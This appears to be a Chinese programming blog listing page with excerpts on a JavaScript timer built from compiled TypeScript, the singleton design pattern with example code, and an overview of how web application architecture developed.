this.element.appendChild(this.span); this.span.innerHTML = new Date().toTimeString(); } Test.prototype.start = function () { var _this = this; this.timer = setInterval(function () { return _this.span.innerHTML = new Date().toTimeString(); }, 500); }; Test.prototype.stop = function () { clearInterval(this.timer); }; return Test; }()); Time.Test = Test; })(Time || (Time = {})); 很容易发现的是,JavaScript里的封装等同于TypeScript里的Module,其中的start,stop方法也通过原型prototype表示了出来。 JavaScript部分 emmm这一部分是来实现开始和暂停按钮的功能。(并没有什么花里胡哨的地方) var div = document.createElement("div"); document.body.appendChild(div); var obj = new Time.Test(div); var button = document.createElement("button"); button.innerHTML = "start"; button.onclick = function () { obj.start(); } document.body.appendChild(button); var buttons = document.createElement("button"); buttons.innerHTML = "stop"; buttons.onclick = function(){ obj.stop(); } document.body.appendChild(buttons); Html部分 (就是把两个js文件引用一下咯) <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Timer</title> </head> <body> <script src="balabala.js"></script> <script src="balabala.js"></script> </body> </html> 实现效果 难道你你你不会Copy到你的ide里实现一下嘛(生气)……
thumbnail
JavaScript的单例模式
什么叫做单例模式? [begin]单[/begin]例模式(Singleton Pattern),是一种简单常用的软件设计模式。在数学和逻辑学中,singleton被定义为只包含一个元素的集合。那在JavaScript中我们将其理解为只包含一个称为单例的特殊类。通过单例模式可以保证系统中,应用该模式的一个类只有一个实例。即一个类只有一个对象实例。 单例模式的要点有三个: 某个类只能有一个实例;它必须自行创建这个实例;它必须自行向整个系统提供这个实例。 单例模式的优点和缺点 优点 实例控制性灵活性 实例控制性 是意味着单例模式会阻止其他对象实例化其自己的单例对象的副本,从而确保所有对象都访问唯一实例。 对于系统中的某些类来说,只有一个实例很重要,例如,一个系统中可以存在多个打印任务,但是只能有一个正在工作的任务;一个系统只能有一个窗口管理器或文件系统;一个系统只能有一个计时工具或ID(序号)生成器。如在Windows中就只能打开一个任务管理器。如果不使用机制对窗口对象进行唯一化,将弹出多个窗口,如果这些窗口显示的内容完全一致,则是重复对象,浪费内存资源;如果这些窗口显示的内容不一致,则意味着在某一瞬间系统有多个状态,与实际不符,也会给用户带来误解,不知道哪一个才是真实的状态。因此有时确保系统中某个对象的唯一性即一个类只能有一个实例非常重要。 在团队开发中,为了实现一些相似的功能,比如不同页面之间的表单验证,可能需求是不一样的,但是呢命名可能一样,这时就会产生冲突,这时候单例模式就能很好的解决这个问题。 灵活性在于该类控制了实例化过程,所以针对实例化过程能实现便捷修改。 缺点 不适用于变化的对象,如果同一类型的对象总是要在不同的用例场景发生变化,单例就会引起数据的错误,不能保存彼此的状态。 由于单例模式中没有抽象层,因此单例类的扩展有很大的困难。 单例类的职责过重,在一定程度上违背了“单一职责原则”。 滥用单例将带来一些负面问题,如为了节省资源将数据库连接池对象设计为的单例类,可能会导致共享连接池对象的程序过多而出现连接池溢出;如果实例化的对象长时间不被利用,系统会认为是垃圾而被回收,这将导致对象状态的丢失。 代码示例 小王小李邻居例子 /* * @Author: Endcat * @Date: 2019-02-21 19:09:46 * @Last Modified by: Endcat * @Last Modified time: 2019-02-21 20:41:55 */ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <!-- 假想背景: 1、两个独立的对象,xiaoWang和xiaoLi,即小王和小李。 2、让xiaoLi跟xiaoWang通过门铃menLing进行通信 3、首先判断小王家xiaoWangjia有没有门men,如果有通过门铃通信didi,如果没有就造一个门。 4、对象之间开始相互通信。 --> <script> var xiaoWang = (function (argument){ var xiaoWangjia = function(message){ this.menLing = message; } var men; var info = { sendMessage:function(message){ if (!men){ men = new xiaoWangjia(message); }; return men; } }; return info; })(); var xiaoLi = { callXiaowang:function(msg){ var _xiaoWang = xiaoWang.sendMessage(msg); alert(_xiaoWang.menLing); _xiaoWang = null; //垃圾回收内存释放 } }; xiaoLi.callXiaowang('didi'); </script> </body> </html> 应用开发举例 /* * @Author: Endcat * @Date: 2019-02-21 20:53:55 * @Last Modified by: Endcat * @Last Modified time: 2019-02-21 20:53:55 */ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <script> // 页面上有若干个按钮 // 如果用下面的结构,控制同一个变量,势必会很麻烦 $('#a').click(function(){ //逻辑特别多 var varA = 4; }); $('#b').click(function(){ //逻辑特别多 }); $('#c').click(function(){ //逻辑特别多 }); $('#d').click(function(){ //逻辑特别多 });…
thumbnail
随便整理一下web开发相关
[toc] 连接是一件单纯的事情,让连接能够产生绚丽多彩的东西就是不简单的事情。Web开发,差不多就是在干绚丽多彩的事情,重点不在connected的结果,而是connected后的画面。 1 架构的转变 在以前的应用软件都是运行在大型机上面,要使用软件就要通过“哑终端”登录到大型机上去操作软件。什么叫做哑终端呢?就是字符终端,只具备输入输出字符的功能。这时候软件和数据都集中在大型机上。 后来兴起了Personal Computer,软件开始运行在桌面上,和现在的情况类似。而那些软件需要的数据则由远程的服务器存储,服务器端运行像数据库这样的软件。这种模式称为CS架构,也就是客户端和服务器(Client/Server)架构。 客户端和服务器(Client/Server)架构 随着互联网的不断发展,发现CS架构并不是太适合Web应用。主要原因是Web内容更新太快,而若是采用CS架构则需要客户端不停地同步更新桌面应用。后来的浏览器和服务器模式(Brower/Server)应用广泛,在客户端下只要通过浏览器向服务器请求,获取Web内容,并将其显示在浏览器上即可。 浏览器和服务器模式(Brower/Server) 2 Web开发是组啥的? 还记得我之前说的一个词“绚丽多彩”吗,Web开发就是干绚丽多彩的事情的。然而并不是全部。可以把Web分为前端后端,但我觉得要是从事Web开发,一定要冲着全栈的方向去发展自己。表面来看,Web前端更加能够接近绚丽多彩的意思,而后端,甚至是一些Web框架的开发,都是枯燥无味的。但是没有框架也就没有绚丽多彩了。这之间的关系相信读者能够十分轻易的揣摩出来。 3 Web应用开发阶段 3.1 静态阶段 直接编写html文件,如果需要更新则要重新修改原html文件 3.2 交互阶段 静态阶段的网页无法和用户进行交互,如果用户在某个网站上有注册用户的需求,必定会提交一个注册表单。但是静态页面是无法处理这样的数据。CGI(Common Gateway Interface)通用网关接口的出现,使得网页处理动态数据成为了可能。 3.3 脚本阶段 Web应用的特点在前面也提到过,就是更新频繁。在交互阶段的CGI中编写语言都是采用C/C++这样的低级语言,使得开发非常不方便。而因为脚本语言和html结合紧密,且本身非常适合用来开发,因而迅速取代了CGI。常见的脚本语言有ASP/JSP/PHP。 ASP(Active Server Pages)是微软自家开发的服务器端脚本环境,JSP(Java Server Pages)实现了html语法中的Java扩展,PHP(Hypertext Preprocessor)这是一种通用的开源脚本语言。 3.4 MVC阶段 MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写。MVC解决的脚本语言直接嵌入html所带来的开发问题,实现了业务逻辑、数据和界面相分离的方法。将业务逻辑全部聚集在一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑,因此可以显著简化Web开发。目前的脚本语言都有很多兼容的MVC框架。 MVC 3.5 现阶段 Web开发不断发展中,诸如MVVC、MVVM、异步开发层出不穷。 MVVM